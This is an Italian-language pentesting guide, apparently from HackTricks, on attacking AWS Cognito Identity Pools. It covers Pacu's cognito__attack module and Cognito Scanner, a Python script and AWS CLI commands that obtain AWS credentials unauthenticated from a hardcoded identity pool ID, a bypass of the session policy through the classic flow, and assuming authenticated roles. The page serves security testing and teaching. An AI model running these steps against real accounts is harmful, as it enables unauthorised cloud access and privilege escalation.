# Cognito Identity Pools

{{#include ../../../../banners/hacktricks-training.md}}

## Informazioni di Base

I pool di identità svolgono un ruolo cruciale consentendo ai tuoi utenti di **acquisire credenziali temporanee**. Queste credenziali sono essenziali per accedere a vari servizi AWS, inclusi, ma non limitati a, Amazon S3 e DynamoDB. Una caratteristica notevole dei pool di identità è il loro supporto sia per utenti ospiti anonimi che per una gamma di fornitori di identità per l'autenticazione degli utenti. I fornitori di identità supportati includono:

- Amazon Cognito user pools
- Opzioni di accesso sociale come Facebook, Google, Login with Amazon e Sign in with Apple
- Fornitori conformi a OpenID Connect (OIDC)
- Fornitori di identità SAML (Security Assertion Markup Language)
- Identità autenticate dagli sviluppatori
```python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)
```
### Cognito Sync

Per generare sessioni di Identity Pool, è necessario prima **generare un Identity ID**. Questo Identity ID è **l'identificazione della sessione di quell'utente**. Queste identificazioni possono avere fino a 20 dataset che possono memorizzare fino a 1MB di coppie chiave-valore.

Questo è **utile per mantenere informazioni su un utente** (che utilizzerà sempre lo stesso Identity ID).

Inoltre, il servizio **cognito-sync** è il servizio che consente di **gestire e sincronizzare queste informazioni** (nei dataset, inviando informazioni in stream e messaggi SNS...).

### Tools for pentesting

- [Pacu](https://github.com/RhinoSecurityLabs/pacu), il framework di sfruttamento AWS, ora include i moduli "cognito\_\_enum" e "cognito\_\_attack" che automatizzano l'enumerazione di tutte le risorse Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzabili modificabili, credenziali di pool di identità utilizzabili, ruoli assumibili nei token id, ecc.

Per una descrizione delle funzioni dei moduli vedere la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione vedere la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu).

#### Usage

Esempio di utilizzo di cognito\_\_attack per tentare la creazione di un utente e tutti i vettori di privesc contro un dato identity pool e client di user pool:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Esempio di utilizzo di cognito\_\_enum per raccogliere tutti i pool utenti, i client dei pool utenti, i pool di identità, gli utenti, ecc. visibili nell'account AWS attuale:
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) è uno strumento CLI in python che implementa diversi attacchi su Cognito, inclusa la creazione non desiderata di account e l'escalation dei pool di identità.

#### Installazione
```bash
$ pip install cognito-scanner
```
#### Utilizzo
```bash
$ cognito-scanner --help
```
Per ulteriori informazioni controlla https://github.com/padok-team/cognito-scanner

## Accesso ai Ruoli IAM

### Non Autenticato

L'unica cosa che un attaccante deve sapere per **ottenere credenziali AWS** in un'app Cognito come utente non autenticato è il **ID del Pool di Identità**, e questo **ID deve essere hardcoded** nell'**applicazione** web/mobile per poterlo utilizzare. Un ID appare così: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (non è bruteforceabile).

> [!TIP]
> Il **ruolo IAM Cognito non autenticato creato tramite è chiamato** per impostazione predefinita `Cognito_<Nome del Pool di Identità>Unauth_Role`

Se trovi un ID di Pool di Identità hardcoded e consente utenti non autenticati, puoi ottenere credenziali AWS con:
```python
import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())
```
Oppure puoi utilizzare i seguenti **aws cli commands**:
```bash
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
```
> [!WARNING]
> Nota che per impostazione predefinita un cognito **utente NON PUÒ avere alcun permesso, anche se assegnato tramite una policy**. Controlla la sezione seguente.

### Flusso di autenticazione avanzato vs di base

La sezione precedente ha seguito il **flusso di autenticazione avanzato predefinito**. Questo flusso imposta una **policy di sessione** [**ristrettiva**](../../aws-basic-information/index.html#session-policies) per la sessione del ruolo IAM generato. Questa policy permetterà solo alla sessione di [**utilizzare i servizi di questo elenco**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (anche se il ruolo aveva accesso ad altri servizi).

Tuttavia, c'è un modo per bypassare questo, se il **pool di identità ha abilitato il "Flusso di base (classico)"**, l'utente sarà in grado di ottenere una sessione utilizzando quel flusso che **non avrà quella policy di sessione restrittiva**.
```bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
```
> [!WARNING]
> Se ricevi questo **errore**, è perché il **flusso di base non è abilitato (predefinito)**

> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`

Avendo un insieme di credenziali IAM, dovresti controllare [quali accessi hai](../../index.html#whoami) e provare a [escalare i privilegi](../../aws-privilege-escalation/index.html).

### Autenticato

> [!NOTE]
> Ricorda che gli **utenti autenticati** potrebbero avere **permessi diversi**, quindi se puoi **registrarti all'interno dell'app**, prova a farlo e ottieni le nuove credenziali.

Potrebbero esserci anche **ruoli** disponibili per gli **utenti autenticati che accedono al Pool di Identità**.

Per questo potresti aver bisogno di avere accesso al **fornitore di identità**. Se si tratta di un **Cognito User Pool**, forse puoi sfruttare il comportamento predefinito e **creare un nuovo utente tu stesso**.

> [!TIP]
> Il **ruolo IAM Cognito autenticato creato tramite** si chiama per impostazione predefinita `Cognito_<Nome del Pool di Identità>Auth_Role`

Comunque, il **seguente esempio** presuppone che tu sia già loggato all'interno di un **Cognito User Pool** utilizzato per accedere al Pool di Identità (non dimenticare che potrebbero essere configurati anche altri tipi di fornitori di identità).

<pre class="language-bash"><code class="lang-bash">
# Formato aggiornato
aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'

aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'

aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--custom-role-arn <role_arn> \
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
</code></pre>

> **Formato deprecato** — questi potrebbero non funzionare più con l'attuale AWS CLI:
<pre class="language-bash"><code class="lang-bash">
aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>

aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>

aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--custom-role-arn <role_arn> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
</code></pre>

> [!WARNING]
> È possibile **configurare ruoli IAM diversi a seconda del fornitore di identità** con cui l'utente è loggato o anche semplicemente a seconda **dell'utente** (utilizzando le dichiarazioni). Pertanto, se hai accesso a diversi utenti tramite lo stesso o diversi fornitori, potrebbe essere **utile accedere e accedere ai ruoli IAM di tutti loro**.

{{#include ../../../../banners/hacktricks-training.md}}
